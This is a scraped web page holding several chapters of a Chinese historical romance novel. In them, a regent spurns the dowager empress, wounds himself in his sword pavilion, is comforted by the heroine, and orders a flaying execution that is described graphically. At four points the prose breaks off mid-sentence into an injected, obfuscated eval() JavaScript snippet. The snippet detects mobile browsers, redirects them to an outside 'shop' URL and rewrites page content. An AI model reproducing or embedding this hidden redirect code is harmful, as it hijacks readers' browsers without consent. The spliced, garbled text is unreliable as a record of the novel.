竹板打得啪啪作响,周怀淑起身,将暗卫推开,将高澈揽在怀里。 周怀淑泪痕未消:“玄度,我知你心疼我,但澈儿还是个孩子,打他两下便好了。” 赵臻看着缩在周怀淑怀里的高澈,他因疼痛而抽泣,眼神里有畏惧,也有滔天的恨意。 赵臻神色微黯:“太后说笑,臣与太后君臣有别,心疼一词实在不妥。陛下言行举止,皆应为臣民表率,方才他口出恶言,实在不堪入耳。陛下如今年幼,先帝命我辅政,还望太后莫要因舐犊之情,让陛下错过修正品德之机,自古惯子如杀子,还望太后三思。” 周怀淑看着赵臻一翕一动的薄唇,心中无限酸涩。 她将高澈交给嬷嬷,继而屏退了下人们。 整个栖梧宫大殿,只剩下她和赵臻。 待高澈和下人们都走远了,周怀淑欺身上去,拥住赵臻,吻上他的双唇。 赵臻歪头躲开,周怀淑则不停追逐。 “周怀淑!”赵臻愤怒地一把将她推开。 周怀淑没有站稳,踉跄一下,她一双泪眼望向赵臻:“玄度,方才你都听到了是吧。在我父兄眼里,我贵为太后又如何,不过就是一介娼妇。我既担了这个罪名,不妨就坐实这个罪名。玄度,你要了我吧,为了你,即便承受娼妇骂名又如何,我愿意的!玄度,求求你要了我吧……” 说罢,周怀淑便开始解自己的衣衫。 赵臻暴怒,狠狠抓住她的衣领,遏制了她的动作,他猩红着一双眼,一字一句道:“周怀淑我警告你,你若想你儿子活着,就不要发疯。我赵臻臭名远扬,不介意再多一条弑君之罪。” 说罢,他狠狠将周怀淑甩开,周怀淑站立不稳,倒在地上。 “赵玄度,你敢说你心里从未有过我吗?!你若对我无情,杀完高宇之后,你为何要留我和澈儿性命?你若对我无情,为何对你我之间的流言从不反驳?你若对我无情,怎会对我的澈儿尽心教导?赵玄度,你敢对天发誓吗?你敢说你对我半点绮念都没有?!” 周怀淑哭诉着,艳极的容貌被泪水摧打,更添妩媚,可赵臻低头看一眼,便觉得恶心。 他强忍着呕吐的念头,俯身下来,靠近周怀淑。 周怀淑双手拉住他的衣袖,激动的情绪平息下来,语气里带上乞求:“玄度,我知道,当年家人逼我退婚,嫁给高宇,是你心里永远的刺。是,我早已不是完璧之身,但我的心里只有你。现在好了,高宇死了,再也没有人阻拦我们,我们做真正的夫妻好不好?你再好好教教澈儿,等他大一点,我们就找一处风景秀丽的地方,避世隐居,恩爱白头,好不好……” 赵臻盯住周怀淑,他蓦地想起奚瞳。 周怀淑和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵臻说完这一句,周怀淑泣不成声:“玄度,玄度我错了,我真的错了。求你原谅我一次,我不要权力,我不要做什么太后,我也不要周家了,我只要你。玄度,你别不要我,求求你……” 赵臻的眸子却在她一声声哀求中阴沉下来:“在那样的多事之秋,你心怀不安、更有不甘,因此攀附皇权,卖身求荣,我尽可理解。可是周怀淑,你不该……不该动赵吟……” 提到“赵吟”二字,赵臻的双眼在冷与恨中泛起泪光。 “高宇灭我赵家父、母、妻三族,赵吟……她本可以活下来。她好歹叫了你七年姐姐,你怎能让她……让她那般死去……” 周怀淑拼命摇头:“我没有!我没有杀小吟,她那么小,我怎么可能杀她!是高宇!是高宇……” 赵臻的情绪已经濒临失控,他在崩溃之前,猝然起身。 离开栖梧宫前,他说:“太后娘娘,好戏才刚开始,周家会覆灭,皇权会崩塌,高宇和周正对我赵家做下的,我赵臻百倍奉还。至于你,我不杀女人。你就这样活着吧,就在这富丽堂皇的栖梧宫,蛆虫一般蠕动。微臣祝您,千秋永寿。” 栖梧宫外,艳阳万里,暑气蒸腾。 赵臻走后,周怀淑却觉得冷极了,她抱紧自己的身体。 抱着抱着,她就笑起来,一开始只是低声嗤笑,后来变成了仰天大笑。 赵臻……赵臻…… 我即便余生如蛆虫,也会永远粘连着你,粘连你的长衫、你的鞋袜、你的肌肤,我会钻入你的血肉,融入你的骨髓。 我当年拼死护下那份婚书,你可知我为此付出了什么代价…… 婚书仍在,你我婚事从未废止! 你休想甩开我,休想! 25.第 25 章 赵臻府上有一进很特殊的院子。 院子里有座楼台,是整个太傅府最高最大的建筑。 楼台一共四层,状似宝塔,但是没有窗户。 赵臻进宫一趟,再回来,便将自己锁在了这座楼台里。 奚瞳一直忙着栽种花草,对赵臻回府之后的去向本不曾关注,可随着时间推移,府中的管家、赵臻的门客、朝中的官员找不到他,都有些着急起来。 奚瞳这才有些回过神,她站在凌笑花丛中,抬眼望向院墙那头突兀耸立的塔尖,若有所思。 裴鸣说,那是太傅府的剑阁。 赵臻年少便于天机山修习剑道,一直痴迷收集天下宝剑。 剑阁四层,已经被列国神兵填满了。 “少爷……太傅大人每每心中郁结,便会将自己关进这处地方,最长的时候,在里头呆了整整七天,不吃不喝,出来的时候形销骨立,让人几乎分不清是人是鬼。” “他……很不开心吗?”奚瞳问道。 老管家的眼里含了泪:“世人都说大人是苟且偷生,背叛宗族,才得以在灭族之祸中幸存,可对于任何人来说,一夜之间,亲人皆死,都是难以承受之痛。大人这些年,心中苦楚,又有何人知晓……” 奚瞳沉吟。 正值此时,陆忧和林载急匆匆来了太傅府。 “太傅大人呢?”陆忧先问。 裴鸣刚要回答,却被奚瞳抢了先:“他在闭关。” “他闭个头的关!”林载忍不住啐道:“都什么时候了,朝廷都因为他乱成一锅粥了,他还闭关?!” 奚瞳将两人引入内室。 陆忧根本没有心思落座:“他在哪?今日事态紧急,不能再拖了。” “他在剑阁,已经三天,从宫里回来就这样了。” 奚瞳一边说一边看林载的神色,只见听闻“剑阁”二字,林载的表情确实发生了变化,开始只是焦急,现在便有些沉重。 “他又去剑阁了?”林载道:“这臭毛病怎么还没改。” 奚瞳想,果真是自幼相识的朋友,林载对赵臻还是有一些了解。 “林大人可知赵臻在剑阁之中都是做些什么?”奚瞳问。 “谁知道。”林载脸色难看极了:“他每年除了上朝,大部分时间都在剑阁,咱也不知道那里头是藏了什么好东西,不就几十柄破剑?也值得他成日这么泡在里头。每次出来都跟让人扒了一层皮一样,人不人鬼不鬼。” 形容枯槁,人鬼莫测。 裴鸣和林载都这么说。 奚瞳暗忖,赵臻在剑阁里,到底是做什么…… “走吧。”林载无奈对陆忧道:“一旦进了剑阁,除非他想自己出来,否则谁叫也没用。先去廷尉府,跟老张说一声,把事情先压一压,容后再说。” 见两人要走,奚瞳喊住了他们:“你们同我说吧,我想办法让他出来。” 林载和陆忧有些迟疑地望着奚瞳。 奚瞳无奈:“看来我这一路还是太保守,你们对我的实力了解得还不是太清楚。” 两人想起陆家的长簪敬酒,又想起蓉州的色/诱程冲,再想起那一日案上泼墨、大话笺疏,最终还是坐了下来。奚瞳也总算了解了近来朝中最为棘手的一桩风波——关于程冲的判决。 押送程冲的暗卫办差得力,脚力也好,在赵臻回京五天前,程冲就已经进了廷尉府。 百余具尸首,详细的笺疏,加上苏木的证词,这桩案子审理起来并不难。只不过程冲是周家的人,周正是当朝大司徒,位高权重,周家在京中的势力又很大,所以有些细枝末节可能会拖延一些时日,这本也是意料之中的事。 赵臻回京之后,廷尉监张逑已经跟赵臻通了气,这案子预计得纠缠个几月,大概秋后才能有结论。在周家运作之下,程冲死罪虽是难逃,但估计不会牵连太多人。如此一来,想要让这案子扩大影响,还得靠赵臻这边的门客,于各路清谈之上操控舆论。 本来说得好好的,可赵臻进宫一趟,当晚他就差人拿了盖着陛下印信的手书到了廷尉府。 手书上说,程冲恶行滔天,罪大恶极,处刷洗之刑。行刑之后肉糜做成汤丸,分发程家宗亲,并行株连,男丁无论老幼,皆处斩刑,女子没入章台,为娼为妓。 这道手书一出,满朝哗然。 奚瞳蹙眉:“什么是刷洗之刑?” 陆忧看林载一眼,踌躇片刻,而后说道:“就是用一把铁梳子,一寸寸将人的皮肉刮下来,直至只剩白骨和内脏。犯人会亲眼看到自己的肉身被分割成一具骨架和一滩烂泥,待骨头都刮干净了,才能了结犯人性命。” 奚瞳应激似的闭上了眼睛。 毫无疑问,这是道酷刑,而且还要程家宗亲分食程冲的皮肉,还要株连程家所有人。这道判决可以说毫无人道可言,难怪朝中众人要声讨赵臻。 …… 送走陆林二人,天色已晚。 奚瞳在厨房忙了一通,而后一手提上食盒,一手抱着小老虎,在裴鸣的陪同下来到剑阁外头。 她敲了敲剑阁的门。 “赵臻。我们聊一聊好吗?”奚瞳的声音柔婉清脆,可下一句便让裴鸣咋舌。 “你若不开,我便让人去买最烈的酒,将蒲草铺在剑阁周围,烈酒浇灌,引火焚烧。剑阁没有窗户,你若想活着,只能用很狼狈的姿态从正门出来,这样的话,太傅府所有的下人,你的暗卫,都会看到你仓皇失措的模样。明天京城各大酒楼茶肆就会有一出新戏文——震惊!不知名伎子火烧太傅府,疑似与当朝太傅恩怨纠葛,三生三世五百里桃花。你真的要这样吗?” 裴鸣嘴角直颤:“姑娘,你这是威胁大人啊……” “这怎么能是威胁?”奚瞳正色:“这是一种很高级的谈判手段。” 两人等了一会儿,剑阁里头毫无动静。 奚瞳叹了一口气,对裴鸣说道:“既如此,裴叔,差人去准备蒲草和烈酒吧。赵臻了解我,我这人言出必行。咱们跟他不必客气。” “啊?……”见奚瞳疯狂使眼色,裴鸣咳嗽一声:“啊……是!奚姑娘,老奴这就去办。” 说罢,奚瞳佯装转身往回走。 行走数十丈,她听到身后传来门栓下落之声。 她嘴角弯起一个弧度,让裴鸣先去休息,自己则往剑阁之中走去。 玄黑色的大门推开,先是一股凉气从剑阁冲出来,盛夏时节,奚瞳竟有一丝冷。 紧接着,奚瞳便闻到了一股很浓的气味。 这种气味她再熟悉不过,她做长秦公主最后那几年,几乎是与这种味道相伴为伍的——血腥味,很浓很浓的血腥味。 奚瞳心中一沉,赵臻……他受伤了? 奚瞳继续往里走,剑阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008308|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中的墙壁上,有悬挂的烛台,但并不密集,寥寥几盏,这使得剑阁之中的光线很是昏暗。 复行数步,光线蓦然亮了一些,奚瞳抬眸,只见四周陈兵架上,长剑横卧,剑光四溢,剑气凛然。 长秦时候,铸剑技艺已纯熟,那时奚瞳便听一位铸剑师说,锻好的长剑是有灵魂的,它们知道自己跟随的是什么样的人,要完成怎样的使命。 怪不得刚才会觉得冷,奚瞳想,赵臻是冷的,所以他的这些剑,也是冷的。 再往里走,奚瞳便看到了瘫坐在地上的赵臻。 他的身后是一座香台,香台上有三炷香,三炷香的后头是一方牌位,牌位上无名无字,一片空白。 此时的赵臻安静晦暗的像一席影子,直到距离他不到一丈时,奚瞳才看清他的模样。 他青丝垂肩,面色苍白,眼神冰冷而空洞,身着一席东方既白的长衫,身上是一道又一道的血痕,他的身侧,是出鞘的登天剑,剑锋之上,满是鲜血。 赵臻这幅样子,像极了刚同一位绝世高手缠斗过,而且是惨败收场。 可剑阁之中,除却他,明明空无一人。 所以…… 奚瞳喉头发梗,她将食盒和小老虎放到赵臻身边。 “不许锁门。我待会儿就回来。” 奚瞳留下这句话,转身跑去,再回来时,手中是一个药箱,里头有各种疗伤之药。 她坐到赵臻身边,挽起他的袖子,一道又一道剑痕映入眼帘,深的已经几可见骨。 奚瞳将金疮药洒在创口上,一点一点替赵臻包扎。 明明应该是疼的,可赵臻麻木的像是一个任人摆布的布偶。 小老虎似乎感受到今日的主人与以往大不相同,一直活泼好动的它此时安安静静团在赵臻身边,轻轻依偎着他。 “赵臻……多久了?”奚瞳的鼻根有些泛酸。 赵臻十分僵硬地转头,看着奚瞳,眼波平静,讷讷无言,像是入定的老僧。 奚瞳没有着急追问,直到包扎好他的一只胳膊,又抬起他的另一只,才继续道:“我是问你,你这样自毁,多久了……” 奚瞳也不知为什么,她竟忍不住有些哽咽,说完这一句,豆大的泪珠从眼睛里落下来,砸到赵臻的手背上。 片刻的温热似乎让赵臻的魂魄归位一些,他有些不解地看着奚瞳,像是不解,她为什么会流泪,为什么……会为他流泪。 奚瞳颤声叹息道:“你父母若是在天有灵,看你如此,不知该有心疼……” 赵臻的神识因为这句话彻底回笼,他先是自嘲地笑了一声,继而看着奚瞳,展现了从未有过的真诚。 “我讨厌我自己。” 奚瞳抬头看向他。 赵臻的神色还是平静,但眼睛却慢慢红起来:“若不是天机山时逢大雨,我此时应在阴曹地府,于父母膝下尽孝。” 奚瞳默然片刻,继而沉声道:“赵臻,我已经告诉过你许多次了,我是仙女,你还记得吗?” 赵臻沉默着,只有些痴滞地望着她。 “仙女的话,你一定要相信。”奚瞳抬起一只手,轻轻抚上赵臻的脸颊:“你可知你父母修了几世功德,才换得天机山那一场大雨?” 赵臻闻言,面上再难压抑痛苦之色。 他低下头,奚瞳停留在他脸颊的掌心里,传来一阵又一阵湿热。 26.第 26 章 奚瞳将赵臻的伤口一一包扎好,两人并排坐在香案前。 小老虎溜缝儿坐在他们两人中间,闭着眼睛,似是已经睡着了。 剑阁里头空旷寂静,奚瞳凝神听着,只能听到自己的呼吸声。 赵臻闭着眼睛,恢复了平静。 方才他哭过,可哭着哭着就将登天剑横到了奚瞳的颈子上。 “许多时候,我的理智都告诉我,你这条性命,留不得。” 奚瞳波澜不惊:“为什么?” 赵臻看着她的眼睛似乎有千言万语,可话到嘴边,却怎么也成不了句。 奚瞳眉眼淡然,带了悲悯的笑意:“因为我窥见了你的脆弱?打破了你高高在上的威权?” “你……”赵臻泪痕已干,只剩下含恨的猩红,他讨厌奚瞳这样的眼神,他不需要任何人可怜他。 “赵臻。人非草木,都会受伤、会流血。我从未因你的脆弱而轻视你,我只是……有些心疼你。” 登天剑的剑气猝然减弱,赵臻用探究的目光望着奚瞳,他不明白她这句话的意思。 心疼……她为什么心疼,是出于怜悯,还是出于……爱意? 她到底为什么会来到他身边,她到底图他什么…… 半晌,赵臻终究放弃了思考,这在今夜注定是个无解的题目。 他眼线遍布四海,但整整三个月,不曾查到奚瞳除却在虹州短暂行乞外的任何过往。 所以奚瞳不同于他以往认识的所有人,她身上没有能够供他拿捏的弱点。 之前他一直以为,这是因为她足够低贱,什么都能豁出去,因为无所有,所以无所畏。可现在他觉得,是因为她足够“超脱”,这尘世的一切,她仿似都不在乎。 可她凭什么不在乎,她又是真的不在乎吗? “你对你那个仇人,也是如此吗?”赵臻问道。 “嗯?”奚瞳不明就里。 “也会对他说这种情深义重之语,让他对你魂牵梦绕?”赵臻刚问完,才发觉自己说得很不妥当,什么魂牵梦绕,他才没有对她魂牵梦绕:“我是说……” “他吗?”奚瞳打断她,眼神变得悠远,思绪又回到了从长秦:“没有。我发现他其实很好很好的时候,就已经死了。” 奚瞳说的已经死了,是指她自己,但赵臻从不相信她是什么仙女转世,便以为他说的是那个仇人。 “他死了?”赵臻问。 这话倒是也没错,奚瞳这样想着,随即便应道:“嗯。死了。” “葬在何处。”赵臻承认,在问出这句话的瞬间,他内心很想去挖了那个人的祖坟,看看那是怎样一具艳骨,能这样深刻地扎在奚瞳心里。 奚瞳的眸子生出黯然:“他……死无葬身之地。” 赵臻审视着奚瞳的表情,不像说谎,他深知这个话题已经可以到此为止了,可他忍不住,他疯狂地想探究她和那个仇人的过往。 “为何会死无葬身之地?” 赵臻对自己心生鄙夷,嫉妒是最卑贱的情感。 奚瞳望向他:“你听说过一个叫长秦的小国吗?” “长秦……”赵臻思索着,他从未听过这个名字。 奚瞳并不意外,跟如今相比,长秦实在算是一个古老而原始的国度,那个时候纸张还没有被创造,人们还信奉着天神与巫祝,长秦也没有专门记载历史的史官。奚瞳回想起来,方觉那时候他们活得太混沌了,死去亦然。而在一片混沌之中,无甚作为的奚氏,被淹没在岁月的长河里,是多么理所应当的事。 “我是长秦人,他也是。”奚瞳的脸上浮现一丝苦涩的微笑:“他死于亡国之战。那一天,国君跪敌,公主自刎,他死于对敌军的顽抗。听说是鞭刑之后又处凌迟,最终尸骨无存。” 赵臻从不相信奚瞳是乞丐,若这故事是真的,她的仇人倒是有些筋骨:“算是条汉子……” “你呢?”奚瞳问道:“为什么那么恨周家,因为周正拆散了你和太后?” 赵臻依旧有些迟疑,他尚未完全信任奚瞳,可偏偏又无他人可诉。 长夜是寂寥的温床,满身伤痕的赵臻,屈服于今夜的孤独。 他摇头:“我同周怀淑的确是自幼相识,但从不算两情相悦。我恨周正,是因为若不是他,我赵氏一族,不会只剩我一人留于世上。” 大盈王朝,赵氏一族,有开国之功,世代簪缨。 十年前,先帝高宇揽群臣及其家眷外出秋猎,猎场之中,高宇对大司徒赵燊之妻瞿梦芙一见钟情。秋猎结束后,一道密诏进入赵家,召瞿梦芙深夜入宫。 高宇荒淫成性,此诏目的昭然若揭,赵家不从,高宇暴怒,次日便令内廷捏造赵燊十大罪状,诛赵燊三族。 赵周两家百年世交,赵燊长子赵臻与周家长女周怀淑已拟婚约。 但赵家逢此祸事,周家一心想与赵家进行切割,火速悔婚。 事情至此倒也罢了,但周正怕被赵家牵连,主动向高宇进言,道是斩草务必除根,并将赵家九族旁支踪迹尽数上报。 赵燊妻女原已逃逸,却被周正爪牙擒获,送入宫中,历时半月,被高宇凌/虐至死。 三族夷灭之祸,已然足够残酷,然则因为周正,赵家最终九族皆死。 赵臻八岁入天机山随白鹭山人修习剑道,十八岁剑道已成,本应于初秋回京,与家人团聚。 可时逢天机山百年不遇之大雨,山体崩坏,泥石横流,折断道路。 赵臻辗转回京时,赵家院中腐尸累累,蛛网遍结,而当朝的大司徒,已经从他的父亲,变成了周正。 没有人知道赵臻之后的八年是怎么过的,更不明白高宇那样疯魔狠辣的皇帝,为什么会在杀光赵家之人后,却愿意放过赵臻。 传闻赵臻在深宫里常为高宇洗脚换尿,卑贱超过任何一个婢子与宦官;也有传闻说赵臻以男色侍君,比所有嫔妃、妓子和娈童都要风骚。 “所以呢?你是怎么活下来的。”奚瞳问。 赵臻冷冷笑了:“若我真的如传言那般,你应当会如世人一般唾弃我吧。” 奚瞳摇头:“求生之道,何分贵贱。赵臻,你活下来了,这很好。” 赵臻心头万丈寒冰,此时只觉得有一道晨曦撕裂黝黑的苍穹,那样尖锐地照了进来。 体内冰雪消融之时,难免扯痛皮肉,赵臻不怕疼,可他习惯了幽暗冷境,害怕未知的温暖。 他眼眶发热,神色却比方才缓和不少:“自古以来,昏庸的帝王所求,无非两者,长生不老丹,金枪不倒药。天机山道宗四海闻名,用几颗丹药骗骗高宇那个蠢货,实在不算难事。” 听闻此言,奚瞳笑了。赵臻此言,是真知灼见。 她的父亲也是昏庸帝王,晚年寻遍四海术士,为的也是长生和淫/欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049806|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奚瞳转头看着赵臻的侧脸,昏黄烛光下,他的下颌线呈现出柔和的弧度:“赵臻,血债当然要血偿。但不要让仇恨将你塑造成你原本深恨的那一类人。” 赵臻亦转头,同奚瞳对视着。 “你还有足够的时间,让周正恐惧、跪倒、求饶,有足够的机会去折磨他、摧毁他、屠戮他。不必急于一个程冲。” 赵臻蹙眉:“连你也觉得……” “赵臻。”奚瞳打断他:“我不在乎程冲是烹肉还是做汤,更不在乎其他涉案之人的爱恨。我在乎的是你,骂名能是毁掉一个人的,你明白吗?” 赵臻沉默下来,许久之后,他开口:“为什么?你为什么这样对我?你到底想要什么?” “赵臻,过去的许多年里,我曾想过做你的长剑、你的利爪。可现在,我想做你的剑鞘。” 赵臻微微蹙眉,面露不解。 “你是一个会用兵刃划伤自己的人。我不喜欢你这样,很不喜欢。”奚瞳笃定道。 赵臻胸中的暖流汹涌,痛感也如浪潮,他躲开了奚瞳的注视,稍作颔首:“奚瞳,我永远不可能娶一个来路不明的伎子。如果你要的是太傅夫人的富贵荣华、权利地位,我可能永远给不了你。” 奚瞳笑了:“你想什么呢,我也不会嫁给太监。” “太……太监?”赵臻眼皮颤了颤,她这是什么意思,他这些年不近女色,只是他不想,不是他不行!他……他很行的!遇到她后,他自己……自己试过。 奚瞳惊觉自己失言:“你听错了,不是太监,是太傅。我说我不可能嫁给太傅,你我身份有别,我有数的。你放心。” “你……” “赵臻,得到你想要的,掌控你拥有的,他曾求而不得,所以我希望你得偿所愿。” 赵臻细细琢磨这句话。 他曾求而不得……他…… 他是谁,那个仇人? 所以……奚瞳帮他,是因为她在自己与那个所谓宿敌身上找到了共性? 斯人已逝,于是她对他,产生了一种移情? 赵臻这样猜测,继而心头涌上极为复杂的情感。 他赵臻也是不世出的英豪,凭什么要做别人的影子?!那个狗屁仇人他算什么东西?! 可嫉恨与不屑之中,他又生出一丝庆幸。 庆幸他活过,更庆幸他死了…… 赵臻兀自出神,奚瞳却站了起来。 “我知道你还需要自己待一会儿,但是不要太久。你的天下群雄逐鹿,你的大盈正值乱局,它们不会等你太久。还有,食盒里是我跟紫虚新学的酿葡萄,放了冰块儿的。你要喝。” 赵臻抬眸,思忖片刻,终究点了点头。 奚瞳笑眼弯起来,手掌放到赵臻的头顶:“乖。” 奚瞳走了,赵臻的身体还因她一个“乖”字而僵直着。 心跳的加速让血液的潮汐在四肢百骸里奔涌,他几乎是本能地对那个纤细温柔的背影抬了抬手。然而“别走”二字卡在喉头,他发不出任何声音。 最终她彻底消失在门的那头,赵臻端起酿葡萄,慢慢喝下去。 酸甜、清香、凉爽,回味里带一点点葡萄尚未熟透的涩味。 他害怕温暖,却第一次觉得,剑阁似乎没有那么冷。 他素来厌甜,却第一次觉得,人世间似乎也没有那么苦。 27.第 27 章 赵臻从剑阁出来后,将先前那一道泯灭人性的判处程冲的手书收了回来。 然则这道“圣旨”,说明的不仅是赵臻的手段,更是他的态度。赵臻的态度就是,他不会放过程冲,也不会放过周家。程冲之罪,罪不可赦,他赵臻就是要杀鸡儆猴,就是要用程冲震慑周家及其党羽。 廷尉监张逑是赵臻的拥趸,自然充分领会这种精神,审案之势,势如雷霆,说是牵连甚广,或需数月,但张逑到底是谦虚了。区区两月,案子审结,程冲仍处刷洗之刑,只不过不再迫其亲族食其汤肉,也不再株连无辜之人。 行刑之处定在宫门口,让百官亲眼见证这世所罕见的血腥场面。 听说那一日程冲的求饶哭嚎之声响彻宫城。 一把铁梳子,一开始溜光锃亮,行刑不久,程冲的脂肪和筋肉就填满了梳子齿与齿之间的缝隙,须得不停用清水涮洗才能保证行刑顺利。 百官之中有人呕吐不止,有人当即晕厥,有人屎尿横流。 程冲从生到死用了整整两天七个时辰。 程冲一死,之前朝中许多以上谏攻讦赵臻为乐的大臣纷纷闭嘴,有恨的,有怕的,还有个经不住事儿的宗正司的老头儿直接疯了,光着屁股在京城狂奔了三条街,一边跑一边喊别割他的肉。 诸如此类传到民间,大家初听只觉汗毛耸立,但不久之后皆作坊间笑谈。 不过程冲这案子一结,便有了些新的难题。 程冲卖官鬻爵,牵连之人不少,赵臻也借机拔除了朝中一些周家的暗桩,但这样一来,便有许多职务空缺,须得人填。 这一日,赵臻的心腹近臣们齐聚太傅府,商议下一步的人手布置。 甫一进门,满园秋海棠,绯色如霞,让众人心情疏阔不少。 “这景致,想必又是那位的手笔吧。”廷尉监张逑道。 陆忧与苏木会心一笑,点了点头。 张逑所说的“那位”,指的是奚瞳。 几月间,同赵臻相熟的这些同僚都已知道他身边多了个女子。 这女子似是在照顾赵臻的起居,可举手投足之间又不像个丫鬟,很多时候还会口出狂言,狂到让听者心惊,让赵臻无言。 她这番做派难免引人遐思。 赵臻断绝酒色已久,但他毕竟风华正茂,血气方刚,于是大家纷纷向跟赵臻最为亲厚的林载打听,问奚瞳是否为赵臻的宠姬,赵臻有没有纳她入府的打算,他们有没有必要对她稍加尊重一些。 林载想了半天,他也试探过赵臻许多次,问他是不是要抬举奚瞳,给她一个太傅妾室的位置,赵臻次次否认,于是奚瞳的身份变得很难定位。 “倒也不是宠姬。”林载这样说:“你们大致可以将她理解为是……赵臻的心肝。” 众人倒吸一口凉气,心肝可比宠姬吓人多了。宠姬没了还有,心肝却只有一副。 于是大家有了默契,私下里称呼奚瞳,都说是“那位”,讳莫如深里透露出一些敬畏。 几人进了书房,奚瞳果真如往常一般,在赵臻身边忙碌,为他们准备茶点。 众人落座,奚瞳堂而皇之在赵臻身边坐下来。来客面面相觑,赵臻则从容饮茶。 奚瞳拿起一颗酪梨酥,悠悠吃起来,见众人端坐不动,她抬了抬手:“别客气,就当自己家。” 气氛从方才的尴尬,瞬间转化为惨绝人寰的寂静,但很快,大家纷纷拿起点心吃了起来,赵臻嘴角弯起一个难以察觉的弧度。 一起吃喝是最能托举热闹的,张逑先开了口:“对了老赵……” 奚瞳闻言抬眸看赵臻,赵臻就是这点好,自己人私下相聚的时候,他不端什么位极人臣的架子,不过,怎么能叫他老赵呢……他老吗?面如冠玉,发若墨锦,他明明不老,年轻貌美得很。 张逑接着道:“我一直想问你,程冲之案的那份笺疏是你哪个门客写的,写得是真漂亮。你把他给我吧,我廷尉府就缺这样的人才。” 陆忧同林载对视一眼,又看了看奚瞳,最终眼神落到赵臻身上。 “不给。”赵臻答得干脆。 “你三千门客,给我一个怎么了?抠死你算了!”张逑抱怨。 奚瞳吃完一颗酪梨酥,又拿一颗桂花糕,好像这段对话同她全无干系。 “别贫了,说说吧,官职补缺,有什么难处?”赵臻问。 程冲之罪定了后,苏木被赵臻提拔,做了太傅主簿,辅佐赵臻管理朝中事务,他开口道:“别的都好说,唯有一个,有些难办,黄门侍郎。” 赵臻垂眸,黄门侍郎是极特殊的一个官职,于宫门之内办差,是内朝和外朝沟通的枢纽。 前任的黄门侍郎是周正的远房表弟,曾在苏木举发程冲时大加阻拦,还打伤了苏木,如今程冲伏法,他自然没有好果子吃,这职位就空下来了。 这个职位的填补难就难在,它足够重要,所以由新进的寒门士子担任,不能服众;而若让赵臻已经培植起来的近臣担当,周正和他的党羽必定不会同意。 苏木一说,大家心中都有数,一时沉默下来。 赵臻啜一口茶:“我有一个人选。” “谁?” “周潮。” 几人大惊:“周潮?!” 也不怪他们意外,周潮是周正的小儿子,赵臻这一招,实在有些出奇。 周正有一妻三妾,三妾之中,有一个周正最不喜欢,乃至厌弃,那是周正年轻时,周家族老出于对家族风水的考量,信奉术士之言,在老家为他选的一个八字相合的女子。 这女子相貌十分丑陋,嫁入周家都十年了,周正才迫于族老压力,与其圆房,这妾室居然就一举得子,生下了周潮。 周潮相貌肖似其母,同其他兄弟姊妹形成了鲜明对比。因为出身和长相,周潮自幼不受周正喜爱,在家中也常被欺凌。 若只是这样,也就罢了,但周潮偏偏是个不认命的主儿,做出过一些荒唐事。 最知名的一件,还与陛下的兄长昭阳王有关。 有一年都城赏花的群芳宴,昭阳王高澜醉酒,拈花抚琴,成为都城少女们的梦中情郎。 高澜的相貌在大盈是一个什么地位呢? 群芳宴上他与赵臻站在一处,区区片刻,造就四海诗文无数,这一幕被天下文人赞作“触目见琳琅珠玉”(注),放眼大盈,能在相貌上和赵臻打个有来有回的,也就是高澜了。 群芳宴那日,高澜摘了牡丹衔于口中,醺然弹琴,被路过的少女扔了满怀香囊绢帕,造就了一段美男子的传奇。 周潮也善琴艺,这本是个优点,可不知他是作何想的,非要效仿高澜。没过几天,他也饮了酒,也摘了路边的牡丹,结果他还没开始演奏呢,就被京城巡查司的官吏抓了正着,以随意采摘花朵损坏公物为由罚了他十两银子。 从此之后,花市各路商家为防周潮不死心继续东施效颦,售卖牡丹比原来贵了三倍不止。 周潮也因此被誉为以一己之力爆炒牡丹价格的天才丑男,听说周正还因为这事儿对他动了家法,他半个月没下来床。 赵臻一提他,众人便皱了眉。 赵臻解释:“周潮行止是有些荒唐,但读书的本事是有的,我看过他的策论,很是出挑。他于家中受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081488|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽鄙夷,心中苦楚,故而一直都想出人头地,证明自己。周家不给他这个机会,我给他何妨?” 苏木垂眸思忖:“若是周潮的话,毕竟姓周,周正他们应该不会反对。主公是想利用他这些年对周家的怨毒,让他倒戈于你?可是主公你有没有想过,周潮毕竟是周家的血脉,万一收买不成……” 